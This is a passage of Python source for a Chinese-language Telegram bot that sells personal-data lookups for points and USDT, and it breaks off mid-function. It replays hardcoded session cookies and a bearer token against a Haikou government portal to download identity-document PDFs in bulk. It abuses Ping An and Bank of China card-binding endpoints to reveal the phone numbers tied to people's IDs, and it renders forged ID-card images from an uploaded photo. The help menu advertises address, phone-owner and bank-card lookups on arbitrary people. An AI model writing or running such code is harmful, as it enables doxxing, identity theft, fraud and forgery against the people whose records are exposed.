    "content-type": "application/json",
    "sec-ch-ua-mobile": "?1",
    "Accept": "*/*",
    "Origin": "https://zwfw.dn.haikou.gov.cn",
    "X-Requested-With": "com.hanweb.hnzwfw.android.activity",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://zwfw.dn.haikou.gov.cn/portal_h5/wsbl?id=1047370300041120912&step=B&certifyId=undefined",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
}
HAINAN_HEADERS2 = {
    "Host": "zwfw.dn.haikou.gov.cn",
    "Connection": "keep-alive",
    "sec-ch-ua-platform": "\"Android\"",
    "User-Agent": "Mozilla/5.0 (Linux; Android 14; MEIZU 21 Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/141.0.7390.97 Mobile Safari/537.36 AgentWeb/5.0.0  yssApp",
    "sec-ch-ua": "\"Android WebView\";v=\"141\", \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"141\"",
    "sec-ch-ua-mobile": "?1",
    "Accept": "*/*",
    "X-Requested-With": "com.hanweb.hnzwfw.android.activity",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://zwfw.dn.haikou.gov.cn/portal_h5/wsbl?id=1047370300041120912&step=B&certifyId=undefined",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
}
HAINAN_FIXED_NAME = "飞机杯"
HAINAN_RETRY_TIMES = 5
HAINAN_MAX_WORKERS = 3

def query_hainan_single(id_card):
    """查询单个身份证号，返回(success, id_card, pdf_bytes_or_error_msg)"""
    id_card = str(id_card).strip().upper()
    if len(id_card) != 18 or not id_card[:17].isdigit() or id_card[17] not in '0123456789X':
        return False, id_card, "格式错误"

    cookies = HAINAN_COOKIES.copy()
    url1 = "https://zwfw.dn.haikou.gov.cn/rest/materialshare/canShareMaterial"
    data = {
        "itemMaterialId": "1498591712970792960",
        "materialCode": "1173207393439670272",
        "materialName": "委托书原件及委托代理人的身份证明",
        "interfaceParam": "ztmc,zzbh,dzzz_name,cardid,dzzz_type",
        "interfaceParamName": "身份证",
        "canShare": False,
        "isSignature": "N",
        "appInterfaceId": "136",
        "param": {
            "ztmc": HAINAN_FIXED_NAME,
            "zzbh": "",
            "dzzz_name": "随便起个名",
            "cardid": id_card,
            "dzzz_type": "1"
        },
        "itemId": "1047370300041120912",
        "userId": "1547878749006024704"
    }

    for i in range(HAINAN_RETRY_TIMES):
        try:
            res1 = requests.post(url1, headers=HAINAN_HEADERS1, cookies=cookies, json=data, timeout=30, verify=False)
            result1 = res1.json()
            if result1.get("code") == "1":
                try:
                    attachment_id = result1["resultDatas"]["result"]["resultDatas"]["attachmentList"][0]["id"]
                    url2 = f"https://zwfw.dn.haikou.gov.cn/rest/attachment/{attachment_id}"
                    res2 = requests.get(url2, headers=HAINAN_HEADERS2, cookies=cookies, verify=False, timeout=30)
                    return True, id_card, res2.content
                except Exception as e:
                    return False, id_card, f"下载失败: {str(e)}"
            else:
                msg = result1.get('message', '查询失败')
                if i < HAINAN_RETRY_TIMES - 1:
                    time.sleep(1.5)
                else:
                    return False, id_card, f"查询失败: {msg}"
        except requests.exceptions.RequestException as e:
            if i < HAINAN_RETRY_TIMES - 1:
                time.sleep(2)
            else:
                return False, id_card, f"网络错误: {str(e)}"
        except Exception as e:
            return False, id_card, f"异常: {str(e)}"
    return False, id_card, "未知错误"


FR_NAME_QUERY_URL = "https://www.xinyidaigz.com/gw92/data/gzData/query/base"
FR_NAME_QUERY_HEADERS = {
    "Host": "www.xinyidaigz.com", "Connection": "keep-alive", "openid": "",
    "content-type": "application/x-www-form-urlencoded",
    "gw92": "Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIzMjA0ODYiLCJjcmVhdGVkIjoxNzc5OTUzMDg4NDYzfQ.grbWTvkT3LMKzsal4ibTmtVGMdgASU_8FM0LwIn3Get7FJwwBgwO9Tpy9J5Oj6pNW4-FxkbskCTbhuTBbhEoZg",
    "bizId92": "credit_xyy_mnp", "sid": "320486", "appSource": "",
    "openId92": "oSZZX41nRVpq4vYoquPyq5vhyMDk",
    "Accept-Encoding": "gzip,compress,br,deflate", "User-Agent": "Mozilla/iPhone; OS 18.5",
    "Referer": "https://servicewechat.com/wx71535d9d92ba069c/197/page-frame.html"
}

def fr_query_by_company_name(ent_name):
    params = {"queryMethod": "LIKE", "entName": ent_name, "pageSize": 6, "pageNum": 1}
    try:
        resp = requests.get(FR_NAME_QUERY_URL, headers=FR_NAME_QUERY_HEADERS, params=params, timeout=15)
        resp.raise_for_status()
        res_json = resp.json()
        if res_json.get("code") != 0:
            return None
        data_list = res_json.get("data", {}).get("body", {}).get("datas", [])
        if not data_list:
            return None
        res_list = []
        for idx, info in enumerate(data_list, 1):
            res_list.append({
                "idx": idx,
                "enterpriseName": info.get("jgmc", ""),
                "socialCreditCode": info.get("tyshxydm", ""),
                "corpnName": info.get("fddbrmc", "")
            })
        return res_list
    except:
        return None

def query_yhk(bank_card):
    try:
        response = requests.get(YHK_API.format(bank_card), timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        return clean_ad_content(result)
    except Exception as e:
        return f"查询失败：{str(e)}"

def query_yhk_phone(bank_card):
    """查询银行卡绑定的脱敏手机号"""
    try:
        url = f"https://lion.qcy520.cn/yhAPI/yinH.php?cx={bank_card}"
        response = requests.get(url, timeout=30)
        data = response.json()
        if data.get("code") == 0 and data.get("data"):
            inner = data["data"]
            if isinstance(inner, dict) and inner.get("response"):
                resp_str = inner["response"]
                # 解析 phoneNumber
                match = re.search(r'phoneNumber:"([^"]+)"', resp_str)
                if match:
                    return match.group(1)
        return None
    except Exception:
        return None

def query_k3(name, id_card, bank_card):
    try:
        url = K3_API.format(name, id_card, bank_card)
        response = requests.get(url, timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        return clean_ad_content(result)
    except Exception as e:
        return f"核验失败：{str(e)}"

def query_k4(name, id_card, phone, bank_card):
    try:
        url = K4_API.format(name, id_card, phone, bank_card)
        response = requests.get(url, timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        return clean_ad_content(result)
    except Exception as e:
        return f"银行卡四要素核验失败：{str(e)}"

def extract_id_cards_from_text(content):
    pattern = r'\b[1-9]\d{5}(19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]\b'
    id_cards = re.findall(r'[1-9]\d{5}(?:19|20)\d{2}(?:0[1-9]|1[0-2])(?:0[1-9]|[12]\d|3[01])\d{3}[\dXx]', content, re.IGNORECASE)
    return list(set([id_card.upper() for id_card in id_cards]))

def extract_birthday_from_id(id_card):
    if len(id_card) != 18:
        return "1970-01-01"
    return f"{id_card[6:10]}-{id_card[10:12]}-{id_card[12:14]}"

def get_gender_from_id(id_card):
    return "M" if int(id_card[-2]) % 2 == 1 else "F"

def query_boc(name, id_card):
    try:
        birthday = extract_birthday_from_id(id_card)
        gender = get_gender_from_id(id_card)
        phone = "1" + "".join([str(random.randint(0, 9)) for _ in range(10)])
        url = "https://mcore.health.pingan.com/bff/quickBindCard/signApply"
        payload = {
            "channelId": "MYAPP-H-8625",
            "customerName": name,
            "customerIdType": "1",
            "customerIdNo": id_card,
            "custBirthday": birthday,
            "gender": gender,
            "telephone": phone,
            "bankNo": "10400000",
            "bankName": "中国银行",
            "handleSuccUrl": "https://mcore.health.pingan.com/",
            "cardType": "D",
            "handleFailUrl": "https://mcore.health.pingan.com/"
        }
        headers = {
            'Accept': 'application/json, text/plain, */*',
            'Content-Type': 'application/json;charset=UTF-8',
            'origin': 'https://mcore.health.pingan.com',
            'referer': 'https://mcore.health.pingan.com/common/bindCard.html',
            'x-requested-with': 'com.tencent.mm'
        }
        resp = requests.post(url, json=payload, headers=headers, timeout=10)
        if resp.status_code != 200:
            return None
        result = resp.json()
        if result.get("code") != "0":
            return None
        ebank_json = json.loads(result["data"].get("eBankJson", "{}"))
        epcc_gw_msg = ebank_json.get("epccGwMsg")
        if not epcc_gw_msg:
            return None
        sign_resp = requests.post("https://ebspay.boc.cn/PGWPortal/EpccRecvSign.do",
            data={'epccGwMsg': epcc_gw_msg},
            headers={'origin': 'https://mcore.health.pingan.com', 'referer': 'https://mcore.health.pingan.com/'},
            timeout=10)
        html = sign_resp.text
        match = re.search(r'mobileNo\s*:\s*["\'](\d{11})["\']', html, re.IGNORECASE)
        if match:
            return match.group(1)
        return None
    except Exception as e:
        return None

def query_yyzz(credit_code):
    try:
        url = f"https://xiaowunb.top/yyzz.php?qyxy={credit_code}"
        response = requests.get(url, timeout=60)
        content_type = response.headers.get('Content-Type', '')
        if 'image' in content_type:
            return {'type': 'image', 'data': response.content}
        text = response.text.strip()
        return {'type': 'text', 'data': clean_ad_content(text)}
    except Exception as e:
        return {'type': 'error', 'data': f"查询失败：{str(e)}"}

def load_issuing_authority_map(file_path):
    issuing_authority_map = {}
    try:
        with open(file_path, 'r', encoding='utf-8') as file:
            for line in file:
                line = line.strip()
                if line and ':' in line:
                    code, name = line.split(':', 1)
                    issuing_authority_map[code] = name
    except:
        pass
    return issuing_authority_map

def get_issuing_authority(id_number, issuing_authority_map):
    area_code = id_number[:6]
    return issuing_authority_map.get(area_code, "未知签发机关")

def format_address(address, max_chars_per_line=12):
    lines = []
    for i in range(0, len(address), max_chars_per_line):
        lines.append(address[i:i + max_chars_per_line])
    return lines

def generate_plc_card(name, id_number, address, user_photo_path):
    if len(id_number) != 18:
        raise ValueError("身份证号码必须为18位")
    birth_date = f"{id_number[6:10]}年{id_number[10:12]}月{id_number[12:14]}日"
    gender_code = int(id_number[-2])
    gender = '女' if gender_code % 2 == 0 else '男'
    if not os.path.exists(PLC_BACKGROUND):
        raise FileNotFoundError(f"模板文件 {PLC_BACKGROUND} 不存在")
    template = Image.open(PLC_BACKGROUND).convert("RGBA")
    font_paths = {"hei": "fonts/hei.ttf", "fzhei": "fonts/fzhei.ttf"}
    for font_name, path in font_paths.items():
        if not os.path.exists(path):
            raise FileNotFoundError(f"字体文件不存在：{path}")
    name_font = ImageFont.truetype(font_paths['hei'], 110)
    other_font = ImageFont.truetype(font_paths['hei'], 110)
    birth_font = ImageFont.truetype(font_paths['fzhei'], 110)
    id_font = ImageFont.truetype(font_paths['hei'], 110)
    address_font = ImageFont.truetype(font_paths['hei'], 95)
    draw = ImageDraw.Draw(template)
    draw.text((1107, 590), name, font=name_font, fill='black')
    draw.text((1119, 740), gender, font=other_font, fill='black')
    draw.text((1345, 900), birth_date, font=birth_font, fill='black')
    draw.text((917, 1200), id_number, font=id_font, fill='black')
    address_lines = format_address(address, 12)
    y_position = 1454
    for line in address_lines:
        draw.text((911, y_position), line, fill=(0, 0, 0), font=address_font)
        y_position += 95
    user_photo = Image.open(user_photo_path).convert("RGBA")
    user_photo_resized = user_photo.resize((700, 900))
    template.paste(user_photo_resized, (137, 645), mask=user_photo_resized)
    output_path = f"temp_plc_{datetime.now().strftime('%Y%m%d_%H%M%S')}.png"
    template.save(output_path)
    return output_path

def build_admin_keyboard():
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    keyboard.add(
        telebot.types.InlineKeyboardButton("👤 用户管理", callback_data="admin_users"),
        telebot.types.InlineKeyboardButton("🔍 用户查询", callback_data="admin_user_query"),
        telebot.types.InlineKeyboardButton("💰 积分管理", callback_data="admin_points"),
        telebot.types.InlineKeyboardButton("📦 批量加分", callback_data="admin_batch_points"),
        telebot.types.InlineKeyboardButton("💎 钻石管理", callback_data="admin_diamonds"),
        telebot.types.InlineKeyboardButton("⚙️ 价格管理", callback_data="admin_price"),
        telebot.types.InlineKeyboardButton("🎫 卡密系统", callback_data="admin_card"),
        telebot.types.InlineKeyboardButton("📋 订单管理", callback_data="admin_orders"),
        telebot.types.InlineKeyboardButton("📢 广播消息", callback_data="admin_broadcast"),
        telebot.types.InlineKeyboardButton("📊 系统统计", callback_data="admin_stats"),
        telebot.types.InlineKeyboardButton("🚫 封禁管理", callback_data="admin_ban_mgmt"),
        telebot.types.InlineKeyboardButton("🔑 授权管理", callback_data="admin_auth_mgmt"),
        telebot.types.InlineKeyboardButton("🔀 功能开关", callback_data="admin_switch"),
        telebot.types.InlineKeyboardButton("🔄 三要素接口切换", callback_data="sys_api_menu")
    )
    return keyboard

def build_price_keyboard():
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    keyboard.add(
        telebot.types.InlineKeyboardButton("📝 设置默认价格", callback_data="price_default"),
        telebot.types.InlineKeyboardButton("👤 设置用户单独价格", callback_data="price_user"),
        telebot.types.InlineKeyboardButton("📋 查看所有价格", callback_data="price_view"),
        telebot.types.InlineKeyboardButton("📊 查看单独价格用户", callback_data="price_custom_list"),
        telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin")
    )
    return keyboard

def get_service_label(service_name):
    labels = {'man': '慢线假地址', 'dy': '抖音反', 'zhend': '拼接真地址', 'dk': '大库户籍地', 'mxh': '名下号', 'boc': '中国银行', 'fr': '法人', 'yyzz': '营业执照', 'mxqy': '名下企业', 'ltjz': '联通机主', 'cha': '企业名查信用代码'}
    return labels.get(service_name, service_name)

# 功能开关需要检查的服务列表
DIAMOND_FEATURES = ['man', 'dy', 'zhend', 'dk', 'mxh', 'boc', 'fr', 'yyzz', 'mxqy', 'ltjz', 'cha']
POINTS_FEATURES = {'eys': 'eys', 'sys': 'sys', 'face': 'face', 'yhk': 'yhk', 'k3': 'k3', 'k4': 'k4', 'id_extract': 'id_extract', 'hnsf': 'hnsf', 'bsmh': 'bsmh', 'dthy': 'dthy'}

def check_feature_enabled(feature_name):
    """返回检查函数，用于在命令中检查功能是否开启"""
    def decorator(func):
        def wrapper(message):
            if not DBUtils.is_feature_enabled(feature_name):
                bot.reply_to(message, "⛔ 该功能已被管理员关闭")
                return
            return func(message)
        return wrapper
    return decorator

def build_service_keyboard(prefix):
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    prices = DBUtils.get_all_service_prices()
    for name, price in prices:
        label = get_service_label(name)
        keyboard.add(telebot.types.InlineKeyboardButton(f"{label} (当前{price}💎)", callback_data=f"{prefix}_{name}"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回上一级", callback_data="back_price"))
    return keyboard

def build_order_list_keyboard(orders_list, page=0, per_page=5):
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    start = page * per_page
    end = min(start + per_page, len(orders_list))
    for i in range(start, end):
        order_no, user_id, service_name, _, price, _ = orders_list[i]
        label = get_service_label(service_name)
        keyboard.add(telebot.types.InlineKeyboardButton(f"{order_no} | {label} | {price}💎", callback_data=f"order_detail_{order_no}"))
    nav_buttons = []
    if page > 0:
        nav_buttons.append(telebot.types.InlineKeyboardButton("⬅️ 上一页", callback_data=f"order_page_{page-1}"))
    if end < len(orders_list):
        nav_buttons.append(telebot.types.InlineKeyboardButton("➡️ 下一页", callback_data=f"order_page_{page+1}"))
    if nav_buttons:
        keyboard.add(*nav_buttons)
    keyboard.add(telebot.types.InlineKeyboardButton("🔄 刷新", callback_data="order_refresh"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回管理", callback_data="back_admin"))
    return keyboard

def build_order_action_keyboard(order_no):
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    keyboard.add(
        telebot.types.InlineKeyboardButton("✅ 处理订单", callback_data=f"order_process_{order_no}"),
        telebot.types.InlineKeyboardButton("❌ 查询为空", callback_data=f"order_cancel_{order_no}")
    )
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回订单列表", callback_data="order_list"))
    return keyboard

def build_order_cancel_confirm_keyboard(order_no):
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    keyboard.add(
        telebot.types.InlineKeyboardButton("✅ 确认退回", callback_data=f"order_cancel_confirm_{order_no}"),
        telebot.types.InlineKeyboardButton("🔙 取消", callback_data=f"order_detail_{order_no}")
    )
    return keyboard

# ==================== 所有 commands 处理器 ====================
@bot.message_handler(commands=['start'])
def send_welcome(message):
    user_id = message.from_user.id
    username = message.from_user.username or "未知用户"
    invited_by = 0
    if message.text and len(message.text.split()) > 1:
        try:
            invited_by = int(message.text.split()[1])
            if invited_by == user_id:
                invited_by = 0
        except:
            invited_by = 0
    DBUtils.create_or_update_user(user_id, username, invited_by)
    if invited_by and invited_by != 0:
        reward_given = DBUtils.update_invite_reward(invited_by, user_id)
        if reward_given:
            try:
                bot.send_message(invited_by, f"您邀请的好友 {username} 已成功加入！\n获得 {INVITE_REWARD} 积分奖励！")
            except:
                pass
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    keyboard = types.InlineKeyboardMarkup()
    keyboard.add(types.InlineKeyboardButton("📞 联系客服", url="https://t.me/JiangQ886"))
    bot.reply_to(message, f"欢迎使用机器人！\n发送 /help 查看帮助\n发送 /me 查看个人信息", reply_markup=keyboard)

@bot.message_handler(commands=['help'])
def show_help(message):
    help_text = f"""
📚 帮助中心
━━━━━━━━━━━━━━━━━━━━
📌 用户指令：
/me - 查看个人信息
/checkin - 每日签到 (+5积分)
/invite - 获取邀请链接
/pay 数量 - USDT充值钻石 (1USDT=10💎)
/km 卡密 - 兑换积分卡密
/zs 卡密 - 兑换钻石卡密

📌 积分消耗功能：
/eys 姓名 身份证 - 二要素核验
/sys 姓名 手机号 身份证 - 三要素核验
/plc 姓名 身份证号 [地址] - PLC生成 (需上传照片)
/yhk 银行卡号 - 银行卡归属地
/k3 姓名 身份证 银行卡 - 银行卡三要素
/k4 姓名 身份证 手机 银行卡 - 银行卡四要素
/id_extract - 上传文件提取身份证
/khjc 手机号 - 空号检测
/hnsf 身份证号 - 海南神父批量查询（2积分/条，失败不扣）
/bsmh 手机号 - 八省模糊查询（2积分/次）
/dthy 姓名 身份证 - 大头核验（2积分/次，需发送照片）

📌 钻石消耗功能：
/man 姓名 身份证 - 慢线假地址
/dy 抖音号 - 抖音反
/zhend 姓名 身份证 - 拼接真地址
/dk 姓名 身份证 - 大库户籍地
/mxh 姓名 身份证 - 名下号
/boc 姓名 身份证 - 中国银行
/fr 信用代码 - 法人
/cha 企业名称 - 企业名查信用代码
/yyzz 信用代码 - 营业执照
/mxqy 身份证 - 名下企业
/ltjz 手机号 - 联通机主
/12306 姓名 手机号 - 12306无遗漏核验（每100条1💎）
━━━━━━━━━━━━━━━━━━━━
/prices - 查看各业务当前价格
💡 加入频道：{CHANNEL_LINK}
    """
    keyboard = types.InlineKeyboardMarkup()
    keyboard.add(types.InlineKeyboardButton("📞 联系客服", url="https://t.me/JiangQ886"))
    bot.reply_to(message, help_text, reply_markup=keyboard)

@bot.message_handler(commands=['me'])
def handle_me(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        bot.reply_to(message, "请先发送 /start 初始化")
        return
    pending_count = DBUtils.get_pending_order_count()
    user_orders = DBUtils.get_user_orders(user_id, 3)
    status_text = "✅ 正常" if not user['is_banned'] else "❌ 已封禁"
    auth_text = "✅ 已授权" if user['is_authorized'] else "❌ 未授权"
    order_text = ""
    if user_orders:
        order_text = "\n📋 最近订单："
        for order_no, service_name, status, created_at in user_orders:
            sname = get_service_label(service_name)
            status_icon = "⏳" if status == "pending" else "✅" if status == "completed" else "❌"
            order_text += f"\n{status_icon} {order_no} | {sname} | {status}"
    me_text = f"""
👤 个人中心
━━━━━━━━━━━━━━━━━━━━
🆔 用户ID：{user_id}
👤 昵称：{user['username']}
⭐ 状态：{status_text}
💰 积分：{user['points']} 分
💎 钻石：{user['diamonds']} 钻
🔑 授权：{auth_text}
📅 签到：{user['last_checkin'] or '从未签到'}
👥 邀请：{user['invite_count']} 人 | 获得：{user['invite_count'] * INVITE_REWARD} 积分
⏳ 待处理订单：{pending_count}{order_text}
━━━━━━━━━━━━━━━━━━━━
💡 /checkin 签到 | /invite 邀请
💡 /pay 数量 充值钻石
    """
    me_text = me_text.replace(f"🆔 用户ID：{user_id}", f"🆔 用户ID：<code>{user_id}</code>")
    bot.reply_to(message, me_text, parse_mode='HTML')

@bot.message_handler(commands=['checkin'])
def handle_checkin(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    today = datetime.now().strftime("%Y-%m-%d")
    if user['last_checkin'] == today:
        bot.reply_to(message, f"今日已签到！明日可再次领取 {CHECKIN_REWARD} 积分")
        return
    DBUtils.update_user_points(user_id, CHECKIN_REWARD)
    DBUtils.update_checkin(user_id)
    new_points = user['points'] + CHECKIN_REWARD
    bot.reply_to(message, f"签到成功！\n获得 {CHECKIN_REWARD} 积分\n当前积分：{new_points} 分")

@bot.message_handler(commands=['invite'])
def handle_invite(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    bot_username = bot.get_me().username
    invite_link = f"https://t.me/{bot_username}?start={user_id}"
    invite_count = DBUtils.get_invite_count(user_id)
    invite_msg = f"""
👥 邀请好友系统
每成功邀请一位好友，您将获得 {INVITE_REWARD} 积分奖励！
您的专属邀请链接：
<code>{invite_link}</code>
当前已邀请人数：{invite_count} 人
已获得积分：{invite_count * INVITE_REWARD} 分
    """
    bot.reply_to(message, invite_msg, parse_mode='HTML')

@bot.message_handler(commands=['pay'])
def handle_pay(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！\n正确格式：/pay USDT数量\n示例：/pay 10")
        return
    try:
        amount = float(args[1])
        if amount <= 0:
            raise ValueError
    except:
        bot.reply_to(message, "请输入有效的正数！")
        return
    unique_id = f"PAY_{int(time.time())}_{user_id}_{random.randint(1000,9999)}"
    resp = client.pay_link(amount, unique_id)
    if not resp or resp.get('code') != 200:
        bot.reply_to(message, f"创建订单失败：{resp.get('error', '未知错误')}")
        return
    data = resp.get('data', {})
    pay_url = data.get('pay_url', '')
    if not pay_url:
        bot.reply_to(message, "创建订单失败：未返回支付链接")
        return
    diamonds = int(amount * 10)
    orders[unique_id] = {
        'user_id': user_id,
        'amount': amount,
        'status': 'pending',
        'timestamp': time.time()
    }
    keyboard = telebot.types.InlineKeyboardMarkup()
    keyboard.add(telebot.types.InlineKeyboardButton("💰 支付", url=pay_url))
    bot.reply_to(message,
        f"🔰 充值订单已创建\n━━━━━━━━━━━━━━━━━━━━\n金额：{amount} USDT\n获得钻石：{diamonds} 💎\n━━━━━━━━━━━━━━━━━━━━\n点击下方按钮完成支付：",
        reply_markup=keyboard)

@bot.message_handler(commands=['km'])
def handle_km(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！正确格式：/km 卡密")
        return
    card_code = args[1].strip().upper()
    success, points = DBUtils.use_card_code(card_code, user_id)
    if success:
        DBUtils.update_user_points(user_id, points)
        new_points = user['points'] + points
        bot.reply_to(message, f"兑换成功！\n获得 {points} 积分\n当前积分：{new_points} 分")
    else:
        bot.reply_to(message, "卡密无效或已被使用！")

@bot.message_handler(commands=['zs'])
def handle_zs(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！正确格式：/zs 钻石卡密")
        return
    card_code = args[1].strip().upper()
    success, diamonds = DBUtils.use_diamond_card(card_code, user_id)
    if success:
        DBUtils.update_user_diamonds(user_id, diamonds)
        DBUtils.log_diamond_transaction(user_id, 'card_redeem', diamonds, f'兑换钻石卡密')
        new_diamonds = DBUtils.get_user(user_id)['diamonds']
        bot.reply_to(message, f"钻石卡密兑换成功！\n获得 {diamonds} 钻石\n当前钻石：{new_diamonds} 钻")
    else:
        bot.reply_to(message, "钻石卡密无效或已被使用！")

@bot.message_handler(commands=['eys'])
@check_feature_enabled('eys')
def handle_eys(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, "格式错误！\n正确格式：/eys 姓名 身份证\n消耗：1积分")
        return
    name, sfz = args[1].strip(), args[2].strip().upper()
    if len(sfz) != 18 or not (sfz[:-1].isdigit() and (sfz[-1].isdigit() or sfz[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    if not user['is_authorized'] and user['points'] < 1:
        bot.reply_to(message, f"积分不足！需要1积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -1)
        remaining = user['points'] - 1
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"正在二要素核验...\n姓名：{name}\n身份证：{sfz}")
    try:
        result = query_eys(name, sfz)
        content = f"姓名：{name}\n身份证：{sfz}\n\n结果：{result}"
        title = "二要素核验结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 1)
        bot.edit_message_text(f"核验失败：{str(e)}", user_id, msg.message_id)

@bot.message_handler(commands=['sys'])
@check_feature_enabled('sys')
def handle_sys(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 4:
        bot.reply_to(message, "格式错误！\n正确格式：/sys 姓名 手机号 身份证\n消耗：3积分")
        return
    name, phone, idcard = args[1].strip(), args[2].strip(), args[3].strip().upper()
    if len(idcard) != 18 or not (idcard[:-1].isdigit() and (idcard[-1].isdigit() or idcard[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！请输入11位正确手机号")
        return
    if not user['is_authorized'] and user['points'] < 3:
        bot.reply_to(message, f"积分不足！需要3积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -3)
        remaining = user['points'] - 3
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"正在三要素核验...\n姓名：{name}\n手机号：{phone}\n身份证：{idcard}")
    try:
        result = query_sys(name, phone, idcard)
        result_12306 = verify_12306(name, idcard, phone)
        content = f"姓名：{name}\n手机号：{phone}\n身份证：{idcard}\n\n结果：{result}\n\n12306核验：{result_12306}"
        title = "三要素核验结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 3)
        bot.edit_message_text(f"核验失败：{str(e)}\n已返还积分", user_id, msg.message_id)

@bot.message_handler(content_types=['photo'], func=lambda m: m.from_user.id in plc_user_data)
def plc_handle_photo(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    user_photo_path = None
    output_path = None
    try:
        data = plc_user_data[user_id]
        name = data['name']
        id_number = data['id_number']
        address = data['address']
        file_info = bot.get_file(message.photo[-1].file_id)
        downloaded_file = bot.download_file(file_info.file_path)
        user_photo_path = f"temp_plc_{user_id}.png"
        with open(user_photo_path, 'wb') as f:
            f.write(downloaded_file)
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, -3)
            remaining = user['points'] - 3
        else:
            remaining = user['points']
        processing_msg = bot.reply_to(message, "🔄 正在生成PLC图片，请稍候...")
        output_path = generate_plc_card(name, id_number, address, user_photo_path)
        with open(output_path, 'rb') as f:
            bot.send_photo(user_id, f, caption=f"✅ PLC生成成功！\n\n📊 本次消耗：{'0积分（免积分/授权用户）' if user['is_authorized'] else '3积分'}\n当前剩余：{remaining} 分")
        bot.delete_message(user_id, processing_msg.message_id)
        os.remove(user_photo_path)
        user_photo_path = None
        os.remove(output_path)
        output_path = None
        del plc_user_data[user_id]
    except Exception as e:
        bot.reply_to(message, f"❌ 生成失败：{html.escape(str(e))}")
        if user_id in plc_user_data:
            del plc_user_data[user_id]
    finally:
        if user_photo_path and os.path.exists(user_photo_path):
            try:
                os.remove(user_photo_path)
            except:
                pass
        if output_path and os.path.exists(output_path):
            try:
